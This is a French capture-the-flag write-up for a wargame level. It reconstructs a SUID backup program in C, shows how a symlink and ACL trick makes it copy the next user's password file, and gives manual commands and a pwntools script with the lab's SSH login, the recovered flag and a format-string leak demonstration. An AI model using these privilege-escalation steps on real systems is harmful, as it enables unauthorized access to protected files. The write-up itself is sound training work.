

8. Level 08

```
#include <stdio.h>
#include <fcntl.h>
#include <unistd.h>
#include <string.h>
#include <stdlib.h>

void    log_wrapper(FILE *file, char *msg, char *path)
{
    char    buff[254];
    int     len = 0;
    int     rmd = 0;

    strcpy(buff, msg);
    while (buff[len])
        len++;
    rmd = 254 - len;

    snprintf(buff+len, rmd, path);                // Format string vulnerability
    buff[strcspn(buff, "\n")] = '\0';
    fprintf(file, "LOG: %s\n", buff);
    return ;
}

int     main(int argc, char **argv)
{
    FILE    *file;
    FILE    *log;
    char    buff[100];
    char    c = 0;
    int     fd;

    if (argc != 2)
        printf("Usage: %s filename\n", argv[0]);

    log = fopen("./backups/.log", "w");
    if (log == 0)
    {
        printf("ERROR: Failed to open %s\n", "./backups/.log");
        exit(1);
    }

    log_wrapper(log, "Starting back up: ", argv[1]);
    file = fopen(argv[1], "r");
    if (file == 0)
    {
        printf("ERROR: Failed to open %s\n", argv[1]);
        exit(1);
    }
}
```

```

char    *pre = "./backups/";
int i = 0;
while (pre[i])
    buff[i] = pre[i];
buff[i] = '\0';

i--;
int rmd = 100 - i;
strncat(buff, argv[i], rmd);

fd = open(buff, O_CREAT | O_EXCL | O_WRONLY, S_IRUSR | S_IWUSR | S_IRGRP |
S_IWGRP);
if (fd < 0)
{
    printf("ERROR: Failed to open %s%s\n", "./backups/", argv[1]);
    exit(1);
}

while (c != EOF)
{
    c = fgetc(file);
    if (c != 0xff)
        write(fd, &c, 1);
}

log_wrapper(log, "Finished back up ", argv[1]);
fclose(file);
close(fd);
return (0);
}

```

On est sur un binaire **x64**. Il n'y avait rien de particulièrement compliqué dans la reconstitution du code source. On note dans le répertoire **home** de l'utilisateur actuel un dossier **backups** qui appartient à **level09** (level suivant), avec un seul fichier vide, **.log** :

```

level08@Override:~$ ls -la
total 28
dr-xr-x---+ 1 level08 level08 100 Oct 19 2016 .
dr-x--x--x 1 root    root    260 Oct 2 2016 ..
drwxrwx---+ 1 level09 users    60 Oct 19 2016 backups
-r----- 1 level08 level08    0 Oct 19 2016 .bash_history
-rw-r--r-- 1 level08 level08 220 Sep 10 2016 .bash_logout
lrwxrwxrwx 1 root    root      7 Sep 13 2016 .bash_profile -> .bashrc
-rw-r--r-- 1 level08 level08 3533 Sep 10 2016 .bashrc
-rwsr-s---+ 1 level09 users 12975 Oct 19 2016 level08
-rw-r-xr---+ 1 level08 level08 41 Oct 19 2016 .pass
-rw-r--r-- 1 level08 level08 675 Sep 10 2016 .profile
-r----- 1 level08 level08 2235 Oct 19 2016 .viminfo
level08@Override:~$ ls -la backups/
total 0
drwxrwx---+ 1 level09 users    60 Oct 19 2016 .
dr-xr-x---+ 1 level08 level08 100 Oct 19 2016 ..
-rwxrwx---+ 1 level09 users    0 Oct 19 2016 .log

```

Le programme fonctionne de la façon suivante :

> On ouvre le fichier `./backups/.log` (en écriture) et on y inscrit un message indiquant qu'on démarre l'action de log, grâce à la fonction **log_wrapper**.

> On ouvre le fichier `<filepath>` précisé dans le premier argument du programme (en lecture). Appelons-le **file**.

> On ouvre le fichier `./backup/<filepath>` (en écriture, avec les droits de lecture et d'écriture pour le propriétaire **et tous les utilisateurs du groupe users**. Si le fichier existe déjà, on renvoie une erreur). Appelons ce fichier **fd**.

> On écrit le contenu du fichier `<filepath>` dans `./backup/<filepath>`.

> On inscrit un message indiquant la fin de l'action de log dans `./backup/.log` grâce à la fonction **log_wrapper**.

Le premier instinct ici serait de leak le contenu du fichier `/home/users/level09/.pass` en faisant en sortes que le binaire l'ouvre et en inscrive le contenu dans le fichier d'output. Ce n'est cependant pas si simple, car imaginons qu'on donne au programme ce **path** :

```
./level08 /home/users/level09/.pass
```

Le programme n'aura aucun mal à ouvrir **file** (i.e. ce fichier) en lecture, car il est exécuté en tant que **level09**. Cependant, il va ensuite tenter d'ouvrir (en le créant s'il n'existe pas) le fichier `./backups//home/users/level09/.pass`. Il n'y arrivera pas car le dossier `/home/users/level09` n'existe pas dans le dossier `/backups` de notre dossier home actuel. On nous renverra une erreur et le programme s'arrêtera.

On pourrait essayer de bouger le binaire (par exemple dans `/tmp`) et créer notre propre dossier **backups** avec les bons sous-dossiers, mais quand j'essayais de bouger le fichier binaire, l'ownership ne tenait pas et le fichier n'était plus SUID en plus d'appartenir à level08 (même avec les options de préservation de **cp** ou avec une action **mv**). Bref, il va nous falloir une autre stratégie à partir de notre dossier actuel. Le plan, de façon générale, est le suivant :

>Exécuter la commande suivante :

```
./binary ../level08/lnk
```

Pour le fichier d'input **file**, on revient d'un dossier en arrière puis on entre dans le dossier **level08** ; en d'autre termes, on reste sur place, et on ouvre le fichier **lnk** qui s'avérera être un lien symbolique vers `/home/users/level09/.pass`. Du point de vue du fichier d'output **fd**, on tente d'ouvrir le fichier `./backups/../level08/lnk` en écriture ; donc un fichier appartenant à un dossier **./level08** à partir du dossier home de l'utilisateur, qu'on aura préalablement créé avec les bons droits. Bref :

```
* argv[1]    --> ../level08/lnk
* log        --> ./backups/.log
* file       --> ../level08/lnk
* fd         --> ./backups/../level08/lnk
```

Tout cela fonctionnera : le lien symbolique sera ouvert correctement, de même que le fichier d'output qui correspondra à un fichier différent dont le dossier parent existe.

Pour créer la bonne configuration et que tout se déroule comme prévu, les étapes suivantes sont nécessaires :

> D'abord, effectuer un **chmod 777** sur le dossier actuel qui nous appartient en tant qu'utilisateur **level08**, pour avoir un peu plus de latitude sur la création de sous-dossiers / fichiers :

```
chmod 777 .
```

> Renommons notre fichier binaire et créons un dossier **level08** dans notre dossier home (qui s'appelle lui-même level08, mais peu importe) :

```
mv level08 binary
mkdir level08
```

> Il va falloir que l'utilisateur **level09** puisse écrire dans notre dossier `./level08` nouvellement créé, car c'est lui qui va recevoir le fichier d'output. On remarque que ce dossier a des **ACL étendus** (petit signe "+" à côté des permissions classiques). C'est normal, car notre dossier courant a défini des ACLs par défaut qui s'appliquent à tous les répertoires et fichiers créés dans ce dossier ([pour en savoir plus sur ces ACLs](#)). Les permissions, actuellement, sont les suivantes pour le dossier qu'on vient de créer :



```
level08@Override:~$ getfacl level08
# file: level08
# owner: level08
# group: level08
user::r-x
user:level08:r-x
user:level09:r-x
group:---
mask::r-x
other:---
default:user::r-x
default:user:level08:r-x
default:user:level09:r-x
default:group:---
default:mask::r-x
default:other:---
```

L'utilisateur **level09** n'a pas les droits d'écriture dans notre dossier ; on va les lui ajouter (on peut le faire car on est le owner de l'objet) :

```
setfacl -m u:level09:rwX ./level08/
```

> On crée le **symbolic link** à la racine de notre dossier home ; c'est lui que le fichier d'input va ouvrir :

```
ln -s /home/users/level09/.pass lnk
```

> Exécuter le binaire renommé :
`./binary ../level08/lnk`

```
level08@Override:~$ ls -la
total 28
drwxrwxrwx+ 1 level08 level08 140 Dec 10 23:26 
dr-x--x--x 1 root root 260 Oct 2 2016 ..
drwxrwx---+ 1 level09 users 60 Oct 19 2016 backups
-r----- 1 level08 level08 0 Oct 19 2016 .bash_history
-rw-r--r-- 1 level08 level08 220 Sep 10 2016 .bash_logout
lrwxrwxrwx 1 root root 7 Sep 13 2016 .bash_profile -> .bashrc
-rw-r--r-- 1 level08 level08 3533 Sep 10 2016 .bashrc
-rwsr-s---+ 1 level09 users 12975 Oct 19 2016 binary
dr-xrwx---+ 2 level08 level08 40 Dec 10 23:04 level08
lrwxrwxrwx 1 level08 level08 25 Dec 10 23:26 lnk -> /home/users/level09/.pass
-rw-r-xr--+ 1 level08 level08 41 Oct 19 2016 .pass
-rw-r--r-- 1 level08 level08 675 Sep 10 2016 .profile
-r----- 1 level08 level08 2235 Oct 19 2016 .viminfo
level08@Override:~$ ./binary ../level08/lnk
level08@Override:~$ cat level08/lnk
fjAwpJNs2vvkFLRebEvAQ2hFZ4uQBwfHRsP62d8S
```

>> Exploitation manuelle

On suit simplement toutes les étapes précédentes :

```
$ chmod 777 .
$ mv level08 binary
$ mkdir level08
$ setfacl -m u:level09:rwx ./level08/
$ ln -s /home/users/level09/.pass lnk
$ ./binary ../level08/lnk
$ cat level08/lnk
```

>> Exploit automatique

```
from pwn import *

s = ssh(host="192.168.1.3", port=4242, user="level08",
password="7WJ6jFBzrcjEYXudxnM3kdW7n3qyxR6tk2xGrkSC")
p = s.process(["/bin/sh", "-c", "chmod 777 . && mv level08 binary && mkdir
level08 && setfacl -m u:level09:rwx level08/ && ln -s /home/users/level09/.pass
lnk && ./binary ../level08/lnk"])

p = s.process(["/bin/cat", "level08/lnk"])
p.interactive()
```

NOTE : Il ne s'agissait probablement pas de la résolution attendue pour ce level. En effet, le programme comporte une **format string vulnerability** assez évidente (notée dans la retranscription du code source ci-dessus). En effet, la fonction **snprintf** qui écrit dans le fichier de log accepte en chaîne de format une variable qu'on contrôle (argv[1], censé être le nom de fichier). Ainsi, on peut faire quelque chose comme :

```
level08@Override:~$ ./binary '%p | %p | %p'
ERROR: Failed to open %p | %p | %p
level08@Override:~$ cat backups/.log
LOG: Starting back up: 0xfffffffffffffec | 0xec | 0x400d6c
```

Les format specifiers sont bien interprétés, la faille est présente. J'ai un peu la flemme de mettre en application la faille, mais **NX** est désactivé, tout comme le **PIE**, et on dispose de variables d'environnement où mettre du shellcode donc ça devrait pas être très compliqué.